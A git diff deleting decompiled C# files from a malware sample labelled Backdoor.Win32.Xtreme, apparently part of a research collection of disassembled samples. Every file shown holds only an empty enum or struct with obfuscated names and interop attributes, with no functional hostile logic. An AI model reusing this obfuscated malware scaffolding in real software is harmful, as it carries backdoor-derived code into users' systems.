C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u0082\u00BC -{ - [DebugInfoInPDB] - [MiscellaneousBits(65)] - [NativeCppClass] - [StructLayout(LayoutKind.Sequential, Size = 216)] - internal struct \u0081\u0024 - { - [MiscellaneousBits(65)] - [DebugInfoInPDB] - [NativeCppClass] - [StructLayout(LayoutKind.Sequential, Size = 16)] - internal struct \u0081ö - { - } - } -} diff --git a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0081_0080.cs b/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0081_0080.cs deleted file mode 100644 index c774cc53..00000000 --- a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0081_0080.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.€ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -namespace \u0082\u00BC -{ - [MiscellaneousBits(64)] - [NativeCppClass] - [DebugInfoInPDB] - internal enum \u0081\u0080 - { - } -} diff --git a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0081_0083.cs b/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0081_0083.cs deleted file mode 100644 index 3cfa71d8..00000000 --- a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0081_0083.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.ƒ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -namespace \u0082\u00BC -{ - [DebugInfoInPDB] - [MiscellaneousBits(64)] - [NativeCppClass] - internal enum \u0081\u0083 - { - } -} diff --git a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0081_0088.cs b/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0081_0088.cs deleted file mode 100644 index 0ac0ce77..00000000 --- a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0081_0088.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.ˆ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -namespace \u0082\u00BC -{ - [DebugInfoInPDB] - [NativeCppClass] - [MiscellaneousBits(64)] - internal enum \u0081\u0088 - { - } -} diff --git a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0081_008B.cs b/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0081_008B.cs deleted file mode 100644 index 13fd2627..00000000 --- a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0081_008B.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.‹ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -namespace \u0082\u00BC -{ - [MiscellaneousBits(64)] - [NativeCppClass] - [DebugInfoInPDB] - internal enum \u0081\u008B - { - } -} diff --git a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0081_0090.cs b/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0081_0090.cs deleted file mode 100644 index fb60e1d7..00000000 --- a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0081_0090.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼. -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -namespace \u0082\u00BC -{ - [DebugInfoInPDB] - [MiscellaneousBits(64)] - [NativeCppClass] - internal enum \u0081\u0090 - { - } -} diff --git a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0081_0093.cs b/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0081_0093.cs deleted file mode 100644 index fec1e692..00000000 --- a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0081_0093.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.“ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -namespace \u0082\u00BC -{ - [DebugInfoInPDB] - [MiscellaneousBits(64)] - [NativeCppClass] - internal enum \u0081\u0093 - { - } -} diff --git a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0081_0097.cs b/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0081_0097.cs deleted file mode 100644 index e07f14d1..00000000 --- a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0081_0097.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.— -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -namespace \u0082\u00BC -{ - [MiscellaneousBits(64)] - [DebugInfoInPDB] - [NativeCppClass] - internal enum \u0081\u0097 - { - } -} diff --git a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0081_009C.cs b/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0081_009C.cs deleted file mode 100644 index 9d8cd78b..00000000 --- a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0081_009C.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.œ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -namespace \u0082\u00BC -{ - [NativeCppClass] - [MiscellaneousBits(64)] - [DebugInfoInPDB] - internal enum \u0081\u009C - { - } -} diff --git a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0081 .cs b/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0081 .cs deleted file mode 100644 index eb1463c4..00000000 --- a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0081 .cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.  -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -namespace \u0082\u00BC -{ - [DebugInfoInPDB] - [MiscellaneousBits(64)] - [NativeCppClass] - internal enum \u0081\u00A0 - { - } -} diff --git a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0081§.cs b/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0081§.cs deleted file mode 100644 index 88b07175..00000000 --- a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0081§.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.§ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -namespace \u0082\u00BC -{ - [DebugInfoInPDB] - [NativeCppClass] - [MiscellaneousBits(64)] - internal enum \u0081\u00A7 - { - } -} diff --git a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0081«.cs b/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0081«.cs deleted file mode 100644 index 01da376b..00000000 --- a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0081«.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.« -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -namespace \u0082\u00BC -{ - [MiscellaneousBits(64)] - [NativeCppClass] - [DebugInfoInPDB] - internal enum \u0081\u00AB - { - } -} diff --git a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0081³.cs b/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0081³.cs deleted file mode 100644 index d297376f..00000000 --- a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0081³.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.³ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -namespace \u0082\u00BC -{ - [DebugInfoInPDB] - [NativeCppClass] - [MiscellaneousBits(64)] - internal enum \u0081\u00B3 - { - } -} diff --git a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0081¹.cs b/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0081¹.cs deleted file mode 100644 index bc43f4a3..00000000 --- a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0081¹.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.¹ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -namespace \u0082\u00BC -{ - [MiscellaneousBits(64)] - [DebugInfoInPDB] - [NativeCppClass] - internal enum \u0081\u00B9 - { - } -} diff --git a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0081Â.cs b/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0081Â.cs deleted file mode 100644 index dd83bd5b..00000000 --- a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0081Â.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.Â -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -namespace \u0082\u00BC -{ - [DebugInfoInPDB] - [MiscellaneousBits(64)] - [NativeCppClass] - internal enum \u0081 - { - } -} diff --git a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0081Ç.cs b/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0081Ç.cs deleted file mode 100644 index 1f51bcaf..00000000 --- a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0081Ç.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.Ç -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -namespace \u0082\u00BC -{ - [MiscellaneousBits(64)] - [DebugInfoInPDB] - [NativeCppClass] - internal enum \u0081Ç - { - } -} diff --git a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0081Î.cs b/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0081Î.cs deleted file mode 100644 index 36282961..00000000 --- a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0081Î.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.Î -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -namespace \u0082\u00BC -{ - [MiscellaneousBits(64)] - [NativeCppClass] - [DebugInfoInPDB] - internal enum \u0081Î - { - } -} diff --git a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0081Õ.cs b/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0081Õ.cs deleted file mode 100644 index 617ae99c..00000000 --- a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0081Õ.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.Õ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -namespace \u0082\u00BC -{ - [DebugInfoInPDB] - [NativeCppClass] - [MiscellaneousBits(64)] - internal enum \u0081Õ - { - } -} diff --git a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0081Ü.cs b/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0081Ü.cs deleted file mode 100644 index 8c9512e4..00000000 --- a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0081Ü.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.Ü -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -namespace \u0082\u00BC -{ - [MiscellaneousBits(64)] - [NativeCppClass] - [DebugInfoInPDB] - internal enum \u0081Ü - { - } -} diff --git a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0081ã.cs b/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0081ã.cs deleted file mode 100644 index f33def9f..00000000 --- a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0081ã.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.ã -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -namespace \u0082\u00BC -{ - [MiscellaneousBits(64)] - [NativeCppClass] - [DebugInfoInPDB] - internal enum \u0081ã - { - } -} diff --git a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0081æ.cs b/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0081æ.cs deleted file mode 100644 index dc0340c8..00000000 --- a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0081æ.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.æ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u0082\u00BC -{ - [UnsafeValueType] - [MiscellaneousBits(65)] - [NativeCppClass] - [DebugInfoInPDB] - [StructLayout(LayoutKind.Sequential, Size = 532)] - internal struct \u0081æ - { - } -} diff --git a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0081ì.cs b/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0081ì.cs deleted file mode 100644 index 8b8eed1f..00000000 --- a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0081ì.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.ì -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -namespace \u0082\u00BC -{ - [MiscellaneousBits(64)] - [NativeCppClass] - [DebugInfoInPDB] - internal enum \u0081ì - { - } -} diff --git a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0081ò.cs b/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0081ò.cs deleted file mode 100644 index 4a01a13d..00000000 --- a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0081ò.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.ò -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -namespace \u0082\u00BC -{ - [MiscellaneousBits(64)] - [DebugInfoInPDB] - [NativeCppClass] - internal enum \u0081ò - { - } -} diff --git 